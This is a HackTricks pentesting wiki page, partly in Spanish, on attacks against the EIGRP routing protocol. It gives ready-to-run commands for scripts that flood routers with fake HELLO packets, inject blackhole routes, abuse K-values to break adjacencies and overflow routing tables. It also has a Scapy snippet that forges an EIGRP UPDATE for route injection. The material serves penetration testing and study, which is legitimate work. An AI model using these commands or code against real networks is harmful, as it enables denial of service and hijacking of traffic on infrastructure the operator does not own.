EIGRP Attacks

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Esto es un resumen de los ataques expuestos en https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9. Consulta ese enlace para más información.

Fake EIGRP Neighbors Attack

  • Objective: Sobrecargar las CPUs de los routers inundándolos con paquetes HELLO de EIGRP, lo que puede provocar un Denial of Service (DoS).
  • Tool: helloflooding.py script.
  • Execution:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
  • Parameters:
  • --interface: Especifica la interfaz de red, p. ej., eth0.
  • --as: Define el número del sistema autónomo EIGRP, p. ej., 1.
  • --subnet: Establece la subred de destino, p. ej., 10.10.100.0/24.

EIGRP Blackhole Attack

  • Objective: Interrumpir el flujo de tráfico inyectando una ruta falsa, provocando un blackhole donde el tráfico se dirige a un destino inexistente.
  • Tool: routeinject.py script.
  • Execution:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
  • Parameters:
  • --interface: Especifica la interfaz del sistema del atacante.
  • --as: Define el número AS de EIGRP.
  • --src: Establece la dirección IP del atacante.
  • --dst: Establece la IP de la subred objetivo.
  • --prefix: Define la máscara de la IP de la subred objetivo.

Abusing K-Values Attack

  • Objective: Generar interrupciones y reconexiones continuas dentro del dominio EIGRP inyectando K-values alterados, resultando efectivamente en un DoS.
  • Tool: relationshipnightmare.py script.
  • Execution:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
  • Parameters:
  • --interface: Especifica la interfaz de red.
  • --as: Define el número AS de EIGRP.
  • --src: Establece la dirección IP de un router legítimo.

Routing Table Overflow Attack

  • Objective: Forzar la CPU y la RAM del router llenando la tabla de enrutamiento con numerosas rutas falsas.
  • Tool: routingtableoverflow.py script.
  • Execution:
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
  • Parameters:
  • --interface: Especifica la interfaz de red.
  • --as: Define el número AS de EIGRP.
  • --src: Establece la dirección IP del atacante.

Protocol Notes Useful for Attacks

  • HELLO packets carry K-values and neighbors only form when they match. Esto es la base para los ataques de mismatched K-values/relationship disruption y por qué los K-values desajustados impiden la adyacencia.
  • The PARAMETER TLV (Type 0x0001) in HELLO (and initial UPDATE) carries K-values and Hold Time, por lo que capturas pasivas revelan los valores exactos usados en el segmento.

Scapy Packet Crafting (Route Injection / Fake Neighbors)

Scapy ships an EIGRP contrib layer with TLVs like EIGRPParam and EIGRPIntRoute, which is enough to craft UPDATEs for route injection. Example adapted from the davidbombal/scapy EIGRP route injection script:

from scapy.all import *
load_contrib("eigrp")

sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))

El mismo repo incluye scripts rápidos de “fake neighbor” que capturan (sniff) un paquete EIGRP real y lo reenvían (replay) con una IP de origen falsificada para crear vecinos fantasma (útil para generar carga en CPU/tabla de vecinos).

  • Scapy EIGRP contrib docs: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
  • Scripts de ejemplo: https://github.com/davidbombal/scapy

Routopsy & Ayudantes de NSE

  • Routopsy crea un laboratorio de ataque de routers virtuales (FRRouting + Scapy) e incluye ataques DRP que puedes adaptar para pruebas de EIGRP. https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
  • NSE de Nmap tiene una pequeña librería eigrp para parsear/generar un subconjunto de paquetes EIGRP. https://nmap.org/nsedoc/lib/eigrp.html

Reconocimiento de autenticación

  • El modo named de EIGRP soporta HMAC-SHA-256 authentication mediante authentication mode hmac-sha-256 .... Si está habilitado, los paquetes creados deben autenticarse con la clave correcta; si no está habilitado, spoofing/injection es más fácil de validar.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks